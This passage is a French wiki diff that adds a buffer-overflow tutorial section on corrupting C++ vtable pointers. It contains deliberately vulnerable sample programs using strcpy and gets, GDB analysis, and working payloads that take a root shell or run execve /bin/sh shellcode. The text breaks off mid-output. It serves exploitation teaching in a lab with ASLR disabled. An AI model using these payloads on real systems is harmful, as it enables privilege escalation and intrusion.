Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
failles_app:bof [2017/02/13 16:31] JohnRiddler Integer overflow |
failles_app:bof [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 18: | Ligne 18: | ||
* 4.4 Return Oriented Programming (ROP) | * 4.4 Return Oriented Programming (ROP) | ||
* 5. Integer Overflow | * 5. Integer Overflow | ||
- | * 6. Monsieur, chez moi ça marche pas ! | + | * 6. C++ vtables |
+ | * 6.1 Corruption de VPTR | ||
+ | * 6.2 Corruption de VPTR - Shellcode | ||
+ | * 7. Remote buffer overflows | ||
+ | * 7.1 Introduction aux remote BOF | ||
+ | * 7.2 Obtenir une shell | ||
+ | * 8. Monsieur, chez moi ça marche pas ! | ||
+ | * 9. Ressources | ||
===== 1. Intel x86 ===== | ===== 1. Intel x86 ===== | ||
Ligne 863: | Ligne 870: | ||
Enjoy your shell !\\ | Enjoy your shell !\\ | ||
//Ne pas oublier le point virgule à "sh;", sinon la commande passé en paramètre de ''system'' serait invalide puisque elle serait comme ceci : "shAAAAAAAAA..."// | //Ne pas oublier le point virgule à "sh;", sinon la commande passé en paramètre de ''system'' serait invalide puisque elle serait comme ceci : "shAAAAAAAAA..."// | ||
- | ===== 6. Monsieur, chez moi ça marche pas ! ===== | + | |
+ | ===== 6. C++ vtables ===== | ||
+ | |||
+ | Les buffer overflows sont le plus souvent présentés via des programmes en C, d'une part car le debugger GDB offre beaucoup de possibilités, et d'autre part parce que le langage a ses faiblesses, rendant possibles ces attaques. Pour changer un peu, nous allons dans cette section aborder les programmes en C++, car ce langage offre d'autres possibilités.\\ | ||
+ | Nous ne nous attarderons pas sur le concept de classe et d'héritage qui sont sans doute connus du lecteur. Ces concepts étant toutefois essentiels à la compréhension de cette partie, mettons nous d'accord en considérant qu'une classe est une structure contenant un ensemble de propriétés propres nommées « attributs » et «méthodes » (routines). Chaque instance de la classe est désignée par le terme « objet ». Cependant, la POO (Programmation Orientée Objet) n'a que peu d'intérêt si elle se limite à ce concept de classe, c'est pourquoi il en existe un autre nommé « héritage », permettant de faire dériver des classes d'autres classes, dites classes-mères. Considérons le programme suivant, inspiré de **Phrack Volume 0xa Issue 0x38** : | ||
+ | |||
+ | <file C++ inheritance.cpp> | ||
+ | #include <stdio.h> | ||
+ | #include <stdlib.h> | ||
+ | |||
+ | /** g++ -m32 -o inheritance inheritance.cpp **/ | ||
+ | class SuperClass{ | ||
+ | private: | ||
+ | int attr1; | ||
+ | public: | ||
+ | void func1(){ | ||
+ | printf("I'm func1()\n"); | ||
+ | } | ||
+ | virtual void vfunc(){ | ||
+ | printf("I'm vfunc()\n"); | ||
+ | } | ||
+ | }; | ||
+ | |||
+ | class SubClass1:public SuperClass{ | ||
+ | public: | ||
+ | void vfunc(){ | ||
+ | SuperClass::vfunc(); | ||
+ | printf("And I'm called from SubClass1\n"); | ||
+ | } | ||
+ | }; | ||
+ | |||
+ | class SubClass2:public SuperClass{ | ||
+ | public: | ||
+ | void vfunc(){ | ||
+ | SuperClass::vfunc(); | ||
+ | printf("And I'm called from SubClass2\n"); | ||
+ | } | ||
+ | }; | ||
+ | |||
+ | int main(int argc, char **argv){ | ||
+ | SubClass1 *s1 = new SubClass1; | ||
+ | SubClass2 *s2 = new SubClass2; | ||
+ | s1->func1(); | ||
+ | s2->func1(); | ||
+ | s1->vfunc(); | ||
+ | s2->vfunc(); | ||
+ | delete s1; | ||
+ | delete s2; | ||
+ | return 0; | ||
+ | } | ||
+ | </file> | ||
+ | |||
+ | Exécutons : | ||
+ | |||
+ | <code> | ||
+ | $ ./inheritance | ||
+ | I'm func1() | ||
+ | I'm func1() | ||
+ | I'm vfunc() | ||
+ | And I'm called from SubClass1 | ||
+ | I'm vfunc() | ||
+ | And I'm called from SubClass2 | ||
+ | </code> | ||
+ | |||
+ | Nous avons donc 2 sous classes dérivées de ''SuperClass'', dont le comportement diffère au niveau de la méthode ''vfunc''. Le grand avantage que procure la POO est qu'il est possible d'appeler la même méthode ''vfunc'' mais depuis des objets issus de classes différentes, et cela est possible grâce aux méthodes virtuelles. Le fait qu'une méthode soit virtuelle signifie donc que l'appel dépend de l'appelant, et que cette résolution se fait au cours de l'exécution (**dynamic binding**). Si la méthode n'est pas virtuelle, nous avons un **static binding**, fait lors de la compilation. Ici, nous allons nous intéresser au **dynamic binding**, en essayant de le tromper pour que la résolution lors du run time soit faussée. | ||
+ | |||
+ | Lorsque le compilateur va parcourir la déclaration de la classe ''SuperClass'', il va d'abord lire la déclaration de ''func1'', et puisque cette méthode n'est pas virtuelle, il va directement assigner l'adresse de cette méthode dans le code, en dur. Cependant, ce ne sera pas le cas lors de l'analyse de ''vfunc'', puisque cette méthode étant virtuelle, la résolution est dynamique, et le compilateur va donc réserver 4 bytes pour un pointeur. Ce Virtual Pointer, ou VPTR, pointe vers une entrée d'une table de pointeurs de fonctions (VTABLE) propre à la classe (ici un exemple pour l'objet ''s1'' de ''SubClass1'') : | ||
+ | |||
+ | {{ :failles_app:vtable1.png?nolink&300 |}} | ||
+ | Notre but ici va être donc d'écraser le VPTR afin de modifier le flux d'exécution. | ||
+ | |||
+ | // **(NB : ASLR a été désactivé )** // \\ | ||
+ | ==== 6.1. Corruption de VPTR ==== | ||
+ | Commençons par un exemple simple avec le programme suivant : | ||
+ | <file C++ vptr.cpp> | ||
+ | #include <stdlib.h> | ||
+ | #include <stdio.h> | ||
+ | #include <string.h> | ||
+ | #include <unistd.h> | ||
+ | |||
+ | class User{ | ||
+ | public: | ||
+ | virtual void execute(const char* command){ | ||
+ | system(command); | ||
+ | } | ||
+ | }; | ||
+ | |||
+ | class Guest: public User{ | ||
+ | public: | ||
+ | void execute(const char* command){ | ||
+ | if(!strcmp(command, "whoami")||!strcmp(command, "date")){ | ||
+ | User::execute(command); | ||
+ | } | ||
+ | else{ | ||
+ | printf("NOPE\n"); | ||
+ | } | ||
+ | } | ||
+ | }; | ||
+ | |||
+ | class Root: public User{ | ||
+ | public: | ||
+ | void execute(const char* command){ | ||
+ | printf("Good morning, dear admin\n"); | ||
+ | User::execute(command); | ||
+ | } | ||
+ | }; | ||
+ | |||
+ | class ShellExecutor{ | ||
+ | private: | ||
+ | char nameUser[32]; | ||
+ | User* user; | ||
+ | public: | ||
+ | ShellExecutor(User* pUser, char* pNameUser):user(pUser){ | ||
+ | strcpy(nameUser, pNameUser); | ||
+ | } | ||
+ | void printName(){ | ||
+ | printf("And his name is %s !!\n", nameUser); | ||
+ | } | ||
+ | void execute(char *command){ | ||
+ | user-> execute(command); | ||
+ | } | ||
+ | }; | ||
+ | |||
+ | int main(int argc, char **argv){ | ||
+ | if(argc < 3){ | ||
+ | printf("I need 2 arguments, plz\nUsage: ./vptr <command> <name>"); | ||
+ | return 1; | ||
+ | } | ||
+ | User* user = NULL; | ||
+ | ShellExecutor* exec; | ||
+ | uid_t uid = getuid(); | ||
+ | if(uid == 0){ | ||
+ | char admin[6] = "admin"; | ||
+ | char command[16] = "cat /etc/shadow"; | ||
+ | user = new Root; | ||
+ | exec = new ShellExecutor(user, admin); | ||
+ | exec->printName(); | ||
+ | exec->execute(command); | ||
+ | delete exec; | ||
+ | delete user; | ||
+ | } | ||
+ | else{ | ||
+ | user = new Guest; | ||
+ | exec = new ShellExecutor(user, argv[2]); | ||
+ | exec->printName(); | ||
+ | exec->execute(argv[1]); | ||
+ | delete exec; | ||
+ | delete user; | ||
+ | } | ||
+ | return 0; | ||
+ | } | ||
+ | </file> | ||
+ | D'après le code, nous comprenons que l'utilisateur peut être soit root soit un utilisateur normal, ce qui sera notre cas, du point de vue de l'attaquant. On comprend donc qu'a priori, nous ne pourrons exécuter que les commandes ''date'' et ''whoami'' : | ||
+ | <code> | ||
+ | $ ./vptr date John | ||
+ | And his name is John !! | ||
+ | jeudi 16 février 2017, 11:18:59 (UTC+0100) | ||
+ | $ ./vptr sh John | ||
+ | And his name is John !! | ||
+ | NOPE | ||
+ | </code> | ||
+ | Notre but ici va être de corrompre le VPTR afin de faire exécuter la fonction ''execute'' de la classe ''Root''. Puisque le programme va logiquement exécuter le bloc ''else'' dans la main, nous maîtrisons le buffer avec la commande. Ainsi, cette attaque nous permettra d'exécuter n'importe quelle commande en root, et donc pour cette démonstration nous nous contenterons d'ouvrir une shell. | ||
+ | |||
+ | En regardant le code, on remarque que le buffer ''name'' dans ''ShellExecutor'' a une capacité limitée à 32 caractères, essayons donc de le faire déborder : | ||
+ | <code> | ||
+ | $ ./vptr sh $(python -c "print 'JohnCena' * 4") | ||
+ | And his name is JohnCenaJohnCenaJohnCenaJohnCena !! | ||
+ | Erreur de segmentation | ||
+ | </code> | ||
+ | La string « JohnCena » fait 8 caractères, répétée 4 fois cela donne 32 caractères, plus un ''null byte'' qui semble venir écraser une donnée sensible … | ||
+ | Lançons GDB pour trouver plus d'indices : | ||
+ | <code> | ||
+ | $ gdb ./vptr | ||
+ | … | ||
+ | (gdb) run date $(python -c "print 'JohnCena' * 4") | ||
+ | Starting program: /home/enzo/Documents/art/stack_BOF/vptr date $(python -c "print 'JohnCena' * 4") | ||
+ | And his name is JohnCenaJohnCenaJohnCenaJohnCena !! | ||
+ | |||
+ | Program received signal SIGSEGV, Segmentation fault. | ||
+ | 0x08048946 in ShellExecutor::execute(char*) () | ||
+ | </code> | ||
+ | Nous obtenons la même erreur de segmentation, alors désassemblons la fonction où le plantage a lieu. Pour trouver son nom, désassemblons la fonction ''main'' : | ||
+ | <code> | ||
+ | (gdb) disas main | ||
+ | Dump of assembler code for function main: | ||
+ | … | ||
+ | 0x08048827 <+348>: pushl -0x24(%ebp) | ||
+ | 0x0804882a <+351>: call 0x8048938 <_ZN13ShellExecutor7executeEPc> | ||
+ | 0x0804882f <+356>: add $0x10,%esp | ||
+ | 0x08048832 <+359>: sub $0xc,%esp | ||
+ | … | ||
+ | End of assembler dump. | ||
+ | </code> | ||
+ | A la ligne <+351> on trouve un nom qui semble correspondre à ''execute'' dans ''ShellExecutor'' : | ||
+ | <code> | ||
+ | (gdb) disas _ZN13ShellExecutor7executeEPc | ||
+ | Dump of assembler code for function _ZN13ShellExecutor7executeEPc: | ||
+ | 0x08048938 <+0>: push %ebp | ||
+ | 0x08048939 <+1>: mov %esp,%ebp | ||
+ | 0x0804893b <+3>: sub $0x8,%esp | ||
+ | 0x0804893e <+6>: mov 0x8(%ebp),%eax | ||
+ | 0x08048941 <+9>: mov 0x20(%eax),%eax | ||
+ | 0x08048944 <+12>: mov (%eax),%eax | ||
+ | 0x08048946 <+14>: mov (%eax),%eax | ||
+ | 0x08048948 <+16>: mov 0x8(%ebp),%edx | ||
+ | 0x0804894b <+19>: mov 0x20(%edx),%edx | ||
+ | 0x0804894e <+22>: sub $0x8,%esp | ||
+ | 0x08048951 <+25>: pushl 0xc(%ebp) | ||
+ | 0x08048954 <+28>: push %edx | ||
+ | 0x08048955 <+29>: call *%eax | ||
+ | 0x08048957 <+31>: add $0x10,%esp | ||
+ | 0x0804895a <+34>: leave | ||
+ | 0x0804895b <+35>: ret | ||
+ | End of assembler dump. | ||
+ | </code> | ||
+ | Le plantage a eu lieu en ''0x08048946'' comme nous l'a indiqué le message d'erreur, lors d'une modification du registre ''%eax''. Le plus intéressant, c'est que la valeur de ''%eax'', apparemment en partie corrompue, sert lors d'un ''call'' en <+29> ! Relançons avec des paramètres inoffensifs et breakons au niveau du constructeur de ''ShellExecutor'' puisque c'est à cet endroit que la fonction vulnérable ''strcpy'' est appelée. | ||
+ | <code> | ||
+ | (gdb) break *0x08048802 | ||
+ | Breakpoint 1 at 0x8048802 | ||
+ | (gdb) run date $(python -c "print 'A' * 30") | ||
+ | Starting program: /home/enzo/Documents/art/stack_BOF/vptr date $(python -c "print 'A' * 30") | ||
+ | </code> | ||
+ | Si nous reprenons le dump de la fonction ''main'', nous avons à partir de la ligne <+306>, juste avant l'appel du constructeur de ''ShellExecutor'': | ||
+ | <code> | ||
+ | 0x080487fd <+306>: push %eax | ||
+ | 0x080487fe <+307>: pushl -0x1c(%ebp) | ||
+ | 0x08048801 <+310>: push %esi | ||
+ | 0x08048802 <+311>: call 0x80488f8 <_ZN13ShellExecutorC2EP4UserPc> | ||
+ | </code> | ||
+ | Nous déduisons donc que 3 paramètres sont passés lors de l'appel du constructeur en <+311>, alors que dans le code il n'y en a que 2. En fait, un paramètre implicite, un pointeur vers l'objet lui-même, est poussé aussi au sommet de la pile. Analysons ces 3 paramètres : | ||
+ | <code> | ||
+ | (gdb) x/x $esi | ||
+ | 0x804a018: 0x00000000 | ||
+ | (gdb) x/x $ebp-0x1c | ||
+ | 0xffffd33c: 0x0804a008 | ||
+ | (gdb) x/x $eax | ||
+ | 0xffffd5a4: 0x41414141 | ||
+ | </code> | ||
+ | Le premier paramètre (implicite) est une adresse vers une séries de 0, nous pouvons en déduire qu'il s'agit de la valeur de ''exec'' (''ShellExecutor'') juste avant l'appel du constructeur, qui est encore nul.\\ | ||
+ | Le deuxième paramètre, nous intéresse beaucoup plus puisque qu'il s'agit du pointeur vers l'objet de type ''Guest''.\\ | ||
+ | Enfin, le troisième est la string que nous avons saisie en paramètre.\\ | ||
+ | Analysons un peu plus le pointeur sur le ''Guest'' à l'adresse ''**0x0804a008**'': | ||
+ | <code> | ||
+ | (gdb) x/x 0x0804a008 | ||
+ | 0x804a008: 0x08048ad8 | ||
+ | (gdb) x/x 0x08048ad8 | ||
+ | 0x08048ad8 <_ZTV5Guest+8>:0x08048874 | ||
+ | (gdb) x/8x 0x08048ad8-8 | ||
+ | 0x8048ad0 <_ZTV5Guest>:0x00000000 0x08048b08 0x08048874 0x00000000 | ||
+ | (gdb) x/x 0x08048b08 | ||
+ | 0x08048b08 <_ZTI5Guest>:0x08049f28 | ||
+ | (gdb) x/x 0x08049f28 | ||
+ | 0x8049f28 <_ZTVN10__cxxabiv120__si_class_type_infoE@@CXXABI_1.3+8>: 0xf7f10550 | ||
+ | (gdb) x/x 0x08048874 | ||
+ | 0x08048874 <_ZN5Guest7executeEPKc>: 0x83e58955 | ||
+ | </code> | ||
+ | En suivant le pointeur, nous arrivons sur une sorte de table avec 2 adresses particulièrement intéressantes: ''0x08048b08'' et ''0x08048874'' obtenus avec la 3ème commande. Si nous regardons à ces adresses, nous trouvons d'une part la fonction ''execute'' de Guest à ''0x08048874'', et les informations représentées sur le schéma du début par le bloc « some infos ». Nous avons donc trouvé le VPTR ! | ||
+ | |||
+ | A présent, désassemblons le constructeur et breakons au niveau de ''strcpy'': | ||
+ | <code> | ||
+ | (gdb) disas _ZN13ShellExecutorC2EP4UserPc | ||
+ | Dump of assembler code for function _ZN13ShellExecutorC2EP4UserPc: | ||
+ | 0x080488f8 <+0>: push %ebp | ||
+ | 0x080488f9 <+1>: mov %esp,%ebp | ||
+ | 0x080488fb <+3>: sub $0x8,%esp | ||
+ | 0x080488fe <+6>: mov 0x8(%ebp),%eax | ||
+ | 0x08048901 <+9>: mov 0xc(%ebp),%edx | ||
+ | 0x08048904 <+12>: mov %edx,0x20(%eax) | ||
+ | 0x08048907 <+15>: mov 0x8(%ebp),%eax | ||
+ | 0x0804890a <+18>: sub $0x8,%esp | ||
+ | 0x0804890d <+21>: pushl 0x10(%ebp) | ||
+ | 0x08048910 <+24>: push %eax | ||
+ | 0x08048911 <+25>: call 0x8048570 <strcpy@plt> | ||
+ | 0x08048916 <+30>: add $0x10,%esp | ||
+ | 0x08048919 <+33>: leave | ||
+ | 0x0804891a <+34>: ret | ||
+ | End of assembler dump. | ||
+ | (gdb) break *0x08048911 | ||
+ | Breakpoint 2 at 0x8048911 | ||
+ | |||
+ | (gdb) continue | ||
+ | Continuing. | ||
+ | |||
+ | Breakpoint 2, 0x08048911 in ShellExecutor::ShellExecutor(User*, char*) () | ||
+ | (gdb) x/x $eax | ||
+ | 0x804a018: 0x00000000 | ||
+ | (gdb) x/x $ebp+16 | ||
+ | 0xffffd308: 0xffffd5a4 | ||
+ | </code> | ||
+ | En regardant quels sont les paramètres passés lors de l'appel de ''strcpy'', nous retrouvons l'adresse, ''0xffffd5a4'' qui est celle de notre string saisie en paramètre (''%ebp+16'' = ''%ebp+0x10''), et nous déduisons donc qu'elle va être copiée à l'adresse passé en premier paramètre, ''0x804a018''.\\ | ||
+ | Regardons à cette adresse ce que l'on y trouve : | ||
+ | <code> | ||
+ | (gdb) x/20x 0x804a018 | ||
+ | 0x804a018: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
+ | 0x804a028: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
+ | 0x804a038: 0x0804a008 0x00020fc9 0x00000000 0x00000000 | ||
+ | 0x804a048: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
+ | 0x804a058: 0x00000000 0x00000000 0x00000000 0x00000000 | ||
+ | </code> | ||
+ | Nous voyons donc que 32 bytes plus loin se situe le VPTR (à ''0x804a038''). S'il déborde, le buffer ira l'écraser, et le pointeur sera alors invalide. Notre but ici va donc être d'écraser ce VPTR proprement pour le faire pointer vers la VTABLE de Root. | ||
+ | Pour obtenir l'adresse, il suffit de reculer un peu par rapport à la table de ''Guest'': | ||
+ | <code> | ||
+ | (gdb) x/12x 0x08048ad8-24 | ||
+ | 0x8048ac0 <_ZTV4Root>:0x00000000 0x08048af4 0x080488ce 0x00000000 | ||
+ | 0x8048ad0 <_ZTV5Guest>:0x00000000 0x08048b08 0x08048874 0x00000000 | ||
+ | 0x8048ae0 <_ZTV4User>:0x00000000 0x08048b1c 0x0804885e 0x6f6f5234 | ||
+ | (gdb) x/x 0x080488ce | ||
+ | 0x080488ce <_ZN4Root7executeEPKc>: 0x83e58955 | ||
+ | </code> | ||
+ | A présent, nous avons tous les éléments pour lancer notre attaque. Nous savons que nous allons écraser ''**0x0804a008**'', qui est l'adresse à laquelle se trouve un pointeur vers la fonction ''execute'' de ''Guest''. Dans le dump du constructeur de ''ShellExecutor'' cela se tradduit par: | ||
+ | <code> | ||
+ | 0x08048944 <+12>:mov (%eax),%eax | ||
+ | 0x08048946 <+14>:mov (%eax),%eax | ||
+ | </code> | ||
+ | Sachant que nous contrôlons à cet instant la valeur de ''%eax'' de la ligne <+12>, nous avons pour notre payload : | ||
+ | <code> | ||
+ | adresse du byte suivant = (début du buffer + 4) + | ||
+ | adresse de execute dans Root + | ||
+ | 24 * 'A' (32 – 8 bytes précédents)+ | ||
+ | adresse du début de la payload écrasant le VPTR | ||
+ | </code> | ||
+ | Soit: | ||
+ | <code> | ||
+ | 0x0804a01c + 0x080488ce + 'AAA...A' + 0x804a018 | ||
+ | </code> | ||
+ | Ainsi, ''%eax'' vaudra d'abord ''0x804a018'', puis ''0x804a01c'' après l'exécution de l'instruction en <+12>, puis vaudra ''0x080488ce'' après l'exécution de l'instruction en <+14>. | ||
+ | Testons cela: | ||
+ | <code> | ||
+ | $ ./vptr sh $(python -c "print '\x1c\xa0\x04\x08'+'\xce\x88\x04\x08' + 'A' * 24 + '\x18\xa0\x04\x08'") | ||
+ | And his name is #�ΈAAAAAAAAAAAAAAAAAAAAAAAA#��# !! | ||
+ | Good morning, dear admin | ||
+ | # whoami | ||
+ | root | ||
+ | </code> | ||
+ | |||
+ | Boom ! | ||
+ | |||
+ | ==== 6.2 Corruption de VPTR - Shellcode ==== | ||
+ | |||
+ | Pour ce second exemple, le programme ne nous offre pas de fonction intéressante à exécuter en tant qu'attaquant. Nous allons donc retourner vers un shellcode (nous n'expliquerons pas les détails de l'injection de shellcode par les variables d'environnement. Se reporter en 4.2 si nécessaire) | ||
+ | |||
+ | <file C++ vptrShellcode.cpp> | ||
+ | #include <iostream> | ||
+ | #include <cstdlib> | ||
+ | #include <cstring> | ||
+ | #include <cstdio> | ||
+ | |||
+ | using namespace std; | ||
+ | |||
+ | /** g++ -m32 -o vptrShellcode vptrShellcode.cpp -z execstack **/ | ||
+ | class Person{ | ||
+ | public: | ||
+ | virtual void talk(const char *name) = 0; | ||
+ | }; | ||
+ | |||
+ | class NiceGirl: public Person{ | ||
+ | public: | ||
+ | void talk(const char* name){ | ||
+ | cout << "My name is " << name << ",and all girls are beautiful" << endl; | ||
+ | } | ||
+ | }; | ||
+ | |||
+ | class TheManWhoSoldTheWorld:public Person{ | ||
+ | public: | ||
+ | void talk(const char* name){ | ||
+ | cout << "And his name is " << name << " !!" << endl; | ||
+ | cout << "We passed upon the stair, we spoke of was and when" << endl; | ||
+ | } | ||
+ | }; | ||
+ | |||
+ | void displayMessage(int); | ||
+ | |||
+ | int main(int argc, char ** argv){ | ||
+ | if(argc < 2){ | ||
+ | cout << "Usage : ./vptrShellcode <bool>" << endl; | ||
+ | return 1; | ||
+ | } | ||
+ | displayMessage(atoi(argv[1])); | ||
+ | return 0; | ||
+ | } | ||
+ | |||
+ | void displayMessage(int gender){ | ||
+ | Person* person; | ||
+ | if(gender){ | ||
+ | person = new TheManWhoSoldTheWorld; | ||
+ | } | ||
+ | else{ | ||
+ | person = new NiceGirl; | ||
+ | } | ||
+ | char name[32]; | ||
+ | gets(name); | ||
+ | person->talk(name); | ||
+ | delete person; | ||
+ | } | ||
+ | </file> | ||
+ | La faille est donc bien sûr dans la fonction ''displayMessage'' avec la fameuse ''gets'' qui nous permet d'écraser le pointeur sur une instance de ''Person''. | ||
+ | |||
+ | <code> | ||
+ | $ ./vptrShellcode 0 | ||
+ | EmmaS | ||
+ | My name is EmmaS,and all girls are beautiful | ||
+ | $ ./vptrShellcode 1 | ||
+ | JohnC | ||
+ | And his name is JohnC !! | ||
+ | We passed upon the stair, we spoke of was and when | ||
+ | $ cat <(python -c "print 'A' * 32") | ./vptrShellcode 0 | ||
+ | Erreur de segmentation | ||
+ | </code> | ||
+ | Rien de surprenant, donc, puisque le buffer fait pile 32 caractères. Comme dans l'exemple précédent, le ''null byte'' semble écraser une valeur sensible.\\ | ||
+ | Dégainons GDB pour analyser tout ceci : | ||
+ | <code> | ||
+ | $ gdb ./vptrShellcode | ||
+ | … | ||
+ | (gdb) disas displayMessage | ||
+ | Dump of assembler code for function _Z14displayMessagei: | ||
+ | 0x080488bd <+0>: push %ebp | ||
+ | 0x080488be <+1>: mov %esp,%ebp | ||
+ | 0x080488c0 <+3>: push %ebx | ||
+ | 0x080488c1 <+4>: sub $0x34,%esp | ||
+ | 0x080488c4 <+7>: cmpl $0x0,0x8(%ebp) | ||
+ | 0x080488c8 <+11>: je 0x80488ea <_Z14displayMessagei+45> | ||
+ | 0x080488ca <+13>: sub $0xc,%esp | ||
+ | 0x080488cd <+16>: push $0x4 | ||
+ | 0x080488cf <+18>: call 0x8048720 <_Znwj@plt> | ||
+ | 0x080488d4 <+23>: add $0x10,%esp | ||
+ | 0x080488d7 <+26>: mov %eax,%ebx | ||
+ | 0x080488d9 <+28>: sub $0xc,%esp | ||
+ | 0x080488dc <+31>: push %ebx | ||
+ | 0x080488dd <+32>: call 0x8048a6c <_ZN21TheManWhoSoldTheWorldC2Ev> | ||
+ | 0x080488e2 <+37>: add $0x10,%esp | ||
+ | 0x080488e5 <+40>: mov %ebx,-0xc(%ebp) | ||
+ | 0x080488e8 <+43>: jmp 0x8048908 <_Z14displayMessagei+75> | ||
+ | 0x080488ea <+45>: sub $0xc,%esp | ||
+ | 0x080488ed <+48>: push $0x4 | ||
+ | 0x080488ef <+50>: call 0x8048720 <_Znwj@plt> | ||
+ | 0x080488f4 <+55>: add $0x10,%esp | ||
+ | 0x080488f7 <+58>: mov %eax,%ebx | ||
+ | 0x080488f9 <+60>: sub $0xc,%esp | ||
+ | 0x080488fc <+63>: push %ebx | ||
+ | 0x080488fd <+64>: call 0x8048a8c <_ZN8NiceGirlC2Ev> | ||
+ | 0x08048902 <+69>: add $0x10,%esp | ||
+ | 0x08048905 <+72>: mov %ebx,-0xc(%ebp) | ||
+ | 0x08048908 <+75>: sub $0xc,%esp | ||
+ | 0x0804890b <+78>: lea -0x2c(%ebp),%eax | ||
+ | 0x0804890e <+81>: push %eax | ||
+ | 0x0804890f <+82>: call 0x80486b0 <gets@plt> | ||
+ | 0x08048914 <+87>: add $0x10,%esp | ||
+ | 0x08048917 <+90>: mov -0xc(%ebp),%eax | ||
+ | 0x0804891a <+93>: mov (%eax),%eax | ||
+ | 0x0804891c <+95>: mov (%eax),%eax | ||
+ | 0x0804891e <+97>: sub $0x8,%esp | ||
+ | 0x08048921 <+100>: lea -0x2c(%ebp),%edx | ||
+ | 0x08048924 <+103>: push %edx | ||
+ | 0x08048925 <+104>: pushl -0xc(%ebp) | ||
+ | 0x08048928 <+107>: call *%eax | ||
+ | 0x0804892a <+109>: add $0x10,%esp | ||
+ | 0x0804892d <+112>: sub $0xc,%esp | ||
+ | 0x08048930 <+115>: pushl -0xc(%ebp) | ||
+ | 0x08048933 <+118>: call 0x80486a0 <_ZdlPv@plt> | ||
+ | 0x08048938 <+123>: add $0x10,%esp | ||
+ | 0x0804893b <+126>: mov -0x4(%ebp),%ebx | ||
+ | 0x0804893e <+129>: leave | ||
+ | 0x0804893f <+130>: ret | ||
+ | End of assembler dump. | ||
+ | </code> | ||
+ | Comme dans l'exemple précédent, nous remarquons immédiatement le ''call'' un peu particulier en <+107>, alors breakons à son niveau. | ||
+ | <code> | ||
+ | (gdb) break *0x08048928 | ||
+ | Breakpoint 1 at 0x8048928 | ||
+ | (gdb) run 1 < <(python -c "print 'A' * 31") | ||
+ | Starting program: /home/enzo/Documents/art/stack_BOF/vptrShellcode 1 < <(python -c "print 'A' * 31") | ||
+ | |||
+ | Breakpoint 1, 0x08048928 in displayMessage(int) () | ||
+ | (gdb) x/x $esp | ||
+ | 0xffffd200: 0x0804a008 | ||
+ | (gdb) x/x $esp+4 | ||
+ | 0xffffd204: 0xffffd21c | ||
+ | (gdb) x/x 0x0804a008 | ||
+ | 0x0804a008: 0x08048be0 | ||
+ | (gdb) x/x 0xffffd21c | ||
+ | 0xffffd21c: 0x41414141 | ||
+ | </code> | ||
+ | |||
+ | Le premier paramètre est évidemment le plus intéressant puisqu'il s'agit du pointeur. Si on affiche le haut de la pile, on trouve : | ||
+ | <code> | ||
+ | (gdb) x/20x $esp | ||
+ | 0xffffd200:0x0804a008 0xffffd21c 0x0000000a 0x00000000 | ||
+ | 0xffffd210:0xf7e5d8a0 0xf7cbed48 0x08049158 0x41414141 | ||
+ | 0xffffd220:0x41414141 0x41414141 0x41414141 0x41414141 | ||
+ | 0xffffd230:0x41414141 0x41414141 0x00414141 0x0804a008 | ||
+ | 0xffffd240:0xffffd4bd 0xf7e5d000 0xffffd268 0x080488ad | ||
+ | </code> | ||
+ | Parfait, nous voyons grâce au dernier A (en ''0xffffd23a'') qu'avec 5 bytes supplémentaires, nous écrasons proprement le pointeur (en ''0xffffd23c'')!\\ | ||
+ | Grâce au code nous voyons que ''%eax'' est manipulé 2 fois, en prenant comme nouvelle valeur celle se trouvant à l'adresse qu'il pointe.\\ | ||
+ | Pour construire notre payload, nous aurons donc : | ||
+ | <code> | ||
+ | adresse du byte suivant | ||
+ | adresse du shellcode | ||
+ | AAA … A | ||
+ | adresse du début de la payload | ||
+ | </code> | ||
+ | Commençons donc par le shellcode (http://insecure.org/stf/smashstack.html): | ||
+ | <code> | ||
+ | $ export PAYLOAD=`python -c "print '\x90' * 200 + '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'"` | ||
+ | </code> | ||
+ | Ensuite, avec GDB, cherchons son adresse en tâtonnant un peu, pour trouver : | ||
+ | <code> | ||
+ | (gdb) x/s *((char **)environ+37)+8 | ||
+ | 0xffffde80: '\220' <repeats 200 times>... | ||
+ | </code> | ||
+ | A présent, nous avons tout ce qu'il nous faut pour construire la payload. Puisque le buffer commence à l'adresse ''0xffffd21c'' d'après la sortie de la commande ''(gdb) x/20x $esp'' lancée précédemment (4ème bloc en partant de la gauche à la deuxième ligne), nous avons: | ||
+ | <code> | ||
+ | 0xffffd220 (= 0xffffd21c + 4) + | ||
+ | 0xffffde80 + | ||
+ | 24 * 'A' (=32 – 2 * adresses) + | ||
+ | 0xffffd21c | ||
+ | </code> | ||
+ | Testons cela avec GDB : | ||
+ | <code> | ||
+ | $ gdb ./vptrShellcodeGNU gdb (Debian 7.7.1+dfsg-5) 7.7.1 | ||
+ | … | ||
+ | (gdb) run 1 < <(python -c "print '\x20\xd2\xff\xff' + '\x80\xde\xff\xff' + 'A' * 24 + '\x1c\xd2\xff\xff'") | ||
+ | Starting program: /home/enzo/Documents/art/stack_BOF/vptrShellcode 1 < <(python -c "print '\x20\xd2\xff\xff' + '\x80\xde\xff\xff' + 'A' * 24 + '\x1c\xd2\xff\xff'") | ||
+ | process 3836 is executing new program: /bin/dash | ||
+ | [Inferior 1 (process 3836) exited normally | ||
+ | </code> | ||
+ | Nous voyons qu'une shell a été ouverte ! Relançons donc sans GDB : | ||
+ | <code> | ||
+ | $ cat <(python -c "print '\x20\xd2\xff\xff' + '\x80\xde\xff\xff' + 'A' * 24 + '\x1c\xd2\xff\xff'") - |./vptrShellcode 1 | ||
+ | whoami | ||
+ | Erreur de segmentation | ||
+ | </code> | ||
+ | Et oui, ça ne fonctionne pas !\\ | ||
+ | Nous allons donc nous servir de l'outil ''ltrace'' pour obtenir des indices supplémentaires sur ce problème : | ||
+ | <code> | ||
+ | $ python -c "print '\x20\xd2\xff\xff' + '\x80\xde\xff\xff' + 'A' * 24 + '\x1c\xd2\xff\xff'" > args.txt | ||
+ | $ ltrace ./vptrShellcode 1 < args.txt | ||
+ | __libc_start_main(0x804884b, 2, 0xffffd364, 0x8048ab0 <unfinished ...> | ||
